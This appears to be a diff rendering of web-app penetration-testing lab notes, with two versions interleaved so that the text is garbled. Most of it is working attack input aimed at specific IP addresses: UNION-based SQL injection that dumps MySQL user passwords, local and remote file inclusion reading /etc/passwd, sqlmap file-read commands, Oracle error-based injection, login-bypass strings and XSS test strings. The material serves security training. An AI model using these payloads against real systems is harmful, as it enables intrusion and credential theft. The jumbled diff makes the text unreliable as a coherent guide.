		- If yes, then identify DB type and find correct syntax to successfully exploit
591+
592-
		- Some example strings that I use are:
592+
Page returns the following error:
593-
			'
593+
Unknown column '50' in 'order clause'
594-
			"
594+
595-
			()       	<----- Take the parameter value and put it in parenthesis
595+
596-
			(5-1)	 	<----- See if you can perform an arithmetic function
596+
597
http://54.186.248.116/acre2.php?lap=acer' order by 6-- +
598
---Valid page returned for 5 and 6...error on 7 so we know there are 6 columns
599-
	- Are the fuzz strings rendering executable code?
599+
600-
		- If yes, then report XSS/CSRF/Response Splitting/Request Smuggling/etc
600+
601-
		- Some example strings that I use are:
601+
602-
			<b>hello</b>
602+
Now we build out the union all select statement with the correct number of columns
603-
			<u>hello</u>
603+
604-
			<script>alert(123);</script>
604+
Reference:
605-
			<script>alert(xss);</script>
605+
http://www.techonthenet.com/sql/union.php
606-
			<script>alert('xss');</script>
606+
607-
			<script>alert("xss");</script>
607+
608
 
609
http://54.186.248.116/acre2.php?lap=acer' union all select 1,2,3,4,5,6-- +
610-
---------------------------------------------------------------------------------------------------------
610+
611
 
612-
# Tricky stuff to play with #
612+
613
Now we negate the parameter value 'acer' by turning into the word 'null':
614
http://54.186.248.116/acre2.php?lap=null' union all select 1,2,3,4,5,6-- j
615
 
616
We see that a 4 and a 5 are on the screen. These are the columns that will echo back data
617
 
618
 
619-
###################
619+
Use a cheat sheet for syntax:
620-
# Nikto with Burp #
620+
http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
621-
# in Linux        #
621+
622-
###################
622+
623
http://54.186.248.116/acre2.php?lap=null' union all select 1,2,3,user(),5,6-- j
624-
cd ~/toolz/
624+
625
http://54.186.248.116/acre2.php?lap=null' union all select 1,2,3,user(),version(),6-- j
626-
rm -rf nikto*
626+
627
http://54.186.248.116/acre2.php?lap=null' union all select 1,2,3,user(),@@version,6-- +
628-
git clone https://github.com/sullo/nikto.git Nikto2
628+
629
http://54.186.248.116/acre2.php?lap=null' union all select 1,2,3,user(),@@datadir,6-- +
630-
cd Nikto2/program
630+
631
 
632-
perl nikto -h http://zero.webappsecurity.com -useproxy http://localhost:8080/
632+
http://54.186.248.116/acre2.php?lap=null' union all select 1,2,3,user,password,6 from mysql.user -- a
633
 
634-
-----------------
634+
635-
Masking the Nikto header reference:
635+
636-
http://carnal0wnage.attackresearch.com/2009/09/btod-nikto-thru-burp-masking-nikto.html
636+
637
Here we see parameter passing, but this one is actually a yes to question number 3 (reference a file)
638
http://54.186.248.116/showfile.php?filename=about.txt
639
 
640
 
641
 
642
See if you can read files on the file system:
643
http://54.186.248.116/showfile.php?filename=/etc/passwd
644
 
645
We call this attack a Local File Include or LFI.
646
 
647
Now let's find some text out on the internet somewhere:
648
http://www.opensource.apple.com/source/SpamAssassin/SpamAssassin-127.2/SpamAssassin/t/data/etc/hello.txt
649
 
650
 
651
Now let's append that URL to our LFI and instead of it being Local - it is now a Remote File Include or RFI:
652
http://54.186.248.116/showfile.php?filename=http://www.opensource.apple.com/source/SpamAssassin/SpamAssassin-127.2/SpamAssassin/t/data/etc/hello.txt
653
 
654
 
655
-----------------Some Automated Testing from the strategicsec VM-----------------
656
 
657
cd /home/strategicsec/toolz/sqlmap-dev/
658
 
659
python sqlmap.py -u "http://54.186.248.116/acre2.php?lap=acer" -b -v 3
660
 
661
 
662
python sqlmap.py -u "http://54.186.248.116/acre2.php?lap=acer" --current-user -v 3
663
 
664
 
665
python sqlmap.py -u "http://54.186.248.116/acre2.php?lap=acer" --current-db -v 3
666
 
667
 
668
python sqlmap.py -u "http://54.186.248.116/acre2.php?lap=acer" --privileges -v 3
669
 
670
 
671
python sqlmap.py -u "http://54.186.248.116/acre2.php?lap=acer" --dbs -v 3
672
 
673
 
674
python sqlmap.py -u "http://54.186.248.116/acre2.php?lap=acer" --tables -v 3
675
 
676
 
677
python sqlmap.py -u "http://54.186.248.116/acre2.php?lap=acer" --file-read=/etc/issue -v 3
678
 
679
 
680
python sqlmap.py -u "http://54.186.248.116/acre2.php?lap=acer" --file-read=/etc/passwd -v 3
681
 
682
 
683
 
684
 
685
 
686
###########################################################
687
# Attacking an Oracle/JSP based WebApp with SQL Injection #
688
###########################################################
689
 
690
 
691
 
692
 
693
 
694
http://54.69.156.253:8081/bookcompany/
695
 
696
 
697
user:   a' OR 'a'='a
698
pass:   a' OR 'a'='a
699
 
700
 
701
 
702
 
703
 
704
 
705
 
706
http://54.69.156.253:8081/bookcompany/author.jsp?id=111
707
 
708
 
709
[ Search by Username ]  Joe' OR 'a'='a
710
 
711
 
712
 
713
 
714
 
715
 
716
 
717
 
718
 
719
 
720
 
721
 
722
http://54.69.156.253:8081/bookcompany/faq.jsp?id=111&qid=1
723
 
724
 
725
 
726
http://54.69.156.253:8081/bookcompany/faq.jsp?id=111&qid=1' OR '1'='1
727
 
728
 
729
 
730
 
731
 
732
 
733
 
734
 
735
 
736
 
737
 
738
 
739
 
740
 
741
 
742
http://54.69.156.253:8081/bookcompany/faq.jsp?id=111&qid=1' or 1=utl_inaddr.get_host_address((select banner from v$version where rownum=1))--
743
 
744
 
745
Host is running:
746
 
747
 
748
 
749
 
750
 
751
http://54.69.156.253:8081/bookcompany/faq.jsp?id=111&qid=1' or 1=utl_inaddr.get_host_address((SELECT user FROM dual))--
752
 
753
User is:
754
 
755
 
756
 
757
 
758
 
759
http://54.69.156.253:8081/bookcompany/faq.jsp?id=111&qid=1' or 1=utl_inaddr.get_host_address((SELECT global_name FROM global_name))--
760
 
761
Current database is: